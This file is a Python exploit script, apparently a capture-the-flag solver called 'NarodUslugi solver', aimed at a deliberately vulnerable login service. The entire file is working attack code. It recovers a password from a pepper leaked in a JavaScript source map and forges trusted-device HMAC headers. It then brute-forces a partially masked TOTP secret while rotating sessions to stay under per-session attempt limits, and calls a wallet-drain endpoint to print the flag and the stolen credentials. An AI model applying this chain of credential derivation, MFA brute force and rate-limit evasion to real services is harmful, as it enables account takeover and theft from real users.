#!/usr/bin/env python3
import argparse
import base64
import hashlib
import hmac
import http.cookiejar
import json
import re
import ssl
import struct
import sys
import time
import urllib.error
import urllib.parse
import urllib.request

BASE32_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"


def read_target_file(path):
    url = None
    parta = None
    user = None
    try:
        with open(path, "r", encoding="utf-8") as fh:
            for raw in fh:
                line = raw.strip()
                if not line or line.startswith("#"):
                    continue
                if "=" in line:
                    key, value = line.split("=", 1)
                    key = key.strip().lower()
                    value = value.strip()
                    if key in ("url", "target", "host"):
                        url = value
                    elif key in ("parta", "pwd_part_a", "pwda", "a"):
                        parta = value
                    elif key in ("user", "username", "narod_user"):
                        user = value
                else:
                    if url is None:
                        url = line
                    elif parta is None:
                        parta = line
                    elif user is None:
                        user = line
    except FileNotFoundError:
        return None, None, None
    return url, parta, user


def normalize_base(url):
    url = (url or "").strip()
    if not url:
        return ""
    if not re.match(r"^https?://", url, re.IGNORECASE):
        url = "http://" + url
    return url.rstrip("/")


def make_opener(jar, insecure=False):
    handlers = [urllib.request.HTTPCookieProcessor(jar)]
    if insecure:
        ctx = ssl._create_unverified_context()
        handlers.append(urllib.request.HTTPSHandler(context=ctx))
    return urllib.request.build_opener(*handlers)


def http_request(opener, method, url, data=None, headers=None, timeout=10):
    headers = dict(headers or {})
    body = None
    if data is not None:
        if isinstance(data, dict):
            body = urllib.parse.urlencode(data).encode("utf-8")
            headers.setdefault("Content-Type", "application/x-www-form-urlencoded")
        elif isinstance(data, (bytes, bytearray)):
            body = data
        else:
            body = str(data).encode("utf-8")
    req = urllib.request.Request(url, data=body, headers=headers, method=method)
    try:
        with opener.open(req, timeout=timeout) as resp:
            return resp.getcode(), resp.headers, resp.read()
    except urllib.error.HTTPError as exc:
        return exc.code, exc.headers, exc.read()


def extract_username(html_text):
    m = re.search(r'name="username"[^>]*placeholder="([^"]+)"', html_text, re.IGNORECASE)
    return m.group(1) if m else None


def extract_pepper_xor_hex(map_text):
    try:
        data = json.loads(map_text)
    except json.JSONDecodeError:
        return None
    for src in data.get("sourcesContent", []):
        m = re.search(r'pepper_xor_hex\s*=\s*"([0-9a-fA-F]+)"', src)
        if m:
            return m.group(1).lower()
    return None


def derive_part_b(user, pepper_xor_hex):
    mask = hashlib.sha1(user.encode("utf-8")).digest()[:6]
    pepper_bytes = bytes.fromhex(pepper_xor_hex)
    out = bytes(pepper_bytes[i] ^ mask[i % len(mask)] for i in range(len(pepper_bytes)))
    return out.decode("utf-8", errors="replace")


def derive_pass(parta, partb):
    material = f"{parta}:{partb}".encode("utf-8")
    return hashlib.sha1(material).hexdigest()[:12]


def trusted_headers(pass_hash):
    ts = str(int(time.time()))
    sig = hmac.new(pass_hash.encode("utf-8"), ts.encode("utf-8"), hashlib.sha1).hexdigest()
    return {"X-TS": ts, "X-Trusted-Device": sig}


def base32_decode(secret_b32):
    secret = re.sub(r"[^A-Z2-7]", "", secret_b32.upper())
    pad = "=" * ((8 - (len(secret) % 8)) % 8)
    return base64.b32decode(secret + pad, casefold=True)


def hotp(secret_bytes, counter):
    msg = struct.pack(">Q", counter)
    digest = hmac.new(secret_bytes, msg, hashlib.sha1).digest()
    offset = digest[-1] & 0x0F
    code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7FFFFFFF
    return f"{code % 1_000_000:06d}"


def totp(secret_b32, timestamp, step=30):
    key = base32_decode(secret_b32)
    counter = int(timestamp // step)
    return hotp(key, counter)


def fetch_server_offset(opener, base_url):
    status_url = base_url + "/__status__"
    code, _, body = http_request(opener, "GET", status_url)
    if code != 200:
        return 0.0
    try:
        data = json.loads(body.decode("utf-8"))
        server_ms = float(data.get("now", 0))
        if server_ms:
            return (server_ms / 1000.0) - time.time()
    except (ValueError, json.JSONDecodeError):
        pass
    return 0.0


def login(opener, base_url, user, password, trusted=False):
    headers = {}
    if trusted:
        headers.update(trusted_headers(password))
    data = {"username": user, "password": password}
    return http_request(opener, "POST", base_url + "/login", data=data, headers=headers)


def get_masked_secret(opener, base_url):
    headers = {"Referer": base_url + "/profile"}
    code, _, body = http_request(
        opener,
        "GET",
        base_url + "/profile/export?fmt=ini",
        headers=headers,
    )
    if code != 200:
        return None
    text = body.decode("utf-8", errors="replace")
    m = re.search(r"otp_secret=([A-Z2-7?]+)", text)
    return m.group(1) if m else None


def iter_candidates(masked_secret):
    if not masked_secret or not masked_secret.endswith("??"):
        return
    prefix = masked_secret[:-2].upper()
    for a in BASE32_ALPHABET:
        for b in BASE32_ALPHABET:
            yield prefix + a + b


def mfa_attempt(opener, base_url, otp_code):
    code, _, body = http_request(
        opener,
        "POST",
        base_url + "/mfa",
        data={"otp": otp_code},
    )
    if code == 200 and b"/wallet" in body:
        return True
    return False


def fetch_flag(opener, base_url):
    code, _, body = http_request(opener, "GET", base_url + "/wallet/drain")
    if code != 200:
        return None, None
    text = body.decode("utf-8", errors="replace")
    flag = None
    game_code = None
    m_flag = re.search(r"flag\{[^}]+\}", text)
    if m_flag:
        flag = m_flag.group(0)
    m_code = re.search(r"game_code:[a-z0-9_:-]+", text)
    if m_code:
        game_code = m_code.group(0)
    return flag, game_code


def main():
    parser = argparse.ArgumentParser(description="NarodUslugi solver")
    parser.add_argument("--target-file", default="target.txt", help="File with target URL (default: target.txt)")
    parser.add_argument("--url", help="Base URL, e.g. http://host:7000")
    parser.add_argument("--parta", help="PWD_PART_A value")
    parser.add_argument("--user", help="Override username")
    parser.add_argument("--insecure", action="store_true", help="Disable TLS verification")
    parser.add_argument("--max-per-session", type=int, default=80, help="Max OTP attempts per session")
    args = parser.parse_args()

    file_url, file_parta, file_user = read_target_file(args.target_file)
    base_url = normalize_base(args.url or file_url)
    parta = args.parta or file_parta
    user = args.user or file_user

    if not base_url:
        print("Missing target URL. Provide --url or create target.txt.", file=sys.stderr)
        sys.exit(1)

    jar = http.cookiejar.CookieJar()
    opener = make_opener(jar, insecure=args.insecure)

    code, _, body = http_request(opener, "GET", base_url + "/")
    if code != 200:
        print(f"Failed to load login page: {code}", file=sys.stderr)
        sys.exit(1)
    html = body.decode("utf-8", errors="replace")
    if not user:
        user = extract_username(html)
    if not user:
        print("Failed to detect username; pass --user or add to target file.", file=sys.stderr)
        sys.exit(1)

    code, _, body = http_request(opener, "GET", base_url + "/assets/app.js.map")
    if code != 200:
        print(f"Failed to fetch sourcemap: {code}", file=sys.stderr)
        sys.exit(1)
    pepper_xor_hex = extract_pepper_xor_hex(body.decode("utf-8", errors="replace"))
    if not pepper_xor_hex:
        print("Failed to extract pepper_xor_hex from sourcemap.", file=sys.stderr)
        sys.exit(1)

    partb = derive_part_b(user, pepper_xor_hex)
    if not parta:
        print("Missing PWD_PART_A; pass --parta or add to target file.", file=sys.stderr)
        sys.exit(1)

    password = derive_pass(parta, partb)

    # Trusted login to get masked OTP secret.
    trusted_jar = http.cookiejar.CookieJar()
    trusted_opener = make_opener(trusted_jar, insecure=args.insecure)
    code, _, _ = login(trusted_opener, base_url, user, password, trusted=True)
    if code == 429:
        print("Trusted-device login blocked (active trust). Try later or from new IP.", file=sys.stderr)
        sys.exit(1)
    if code != 200:
        print(f"Trusted-device login failed: {code}", file=sys.stderr)
        sys.exit(1)

    masked_secret = get_masked_secret(trusted_opener, base_url)
    if not masked_secret:
        print("Failed to retrieve masked OTP secret.", file=sys.stderr)
        sys.exit(1)

    offset = fetch_server_offset(opener, base_url)

    attempts = 0
    session_opener = None
    for candidate in iter_candidates(masked_secret):
        if session_opener is None or attempts >= args.max_per_session:
            session_jar = http.cookiejar.CookieJar()
            session_opener = make_opener(session_jar, insecure=args.insecure)
            code, _, _ = login(session_opener, base_url, user, password, trusted=False)
            if code != 200:
                print(f"Login failed during brute-force: {code}", file=sys.stderr)
                sys.exit(1)
            attempts = 0

        now = time.time() + offset
        otp = totp(candidate, now)
        if mfa_attempt(session_opener, base_url, otp):
            flag, game_code = fetch_flag(session_opener, base_url)
            print(f"user={user}")
            print(f"pass={password}")
            print(f"otp_secret={candidate}")
            if flag:
                print(flag)
            if game_code:
                print(game_code)
            return

        attempts += 1

    print("OTP secret not found in search space.", file=sys.stderr)
    sys.exit(1)


if __name__ == "__main__":
    main()
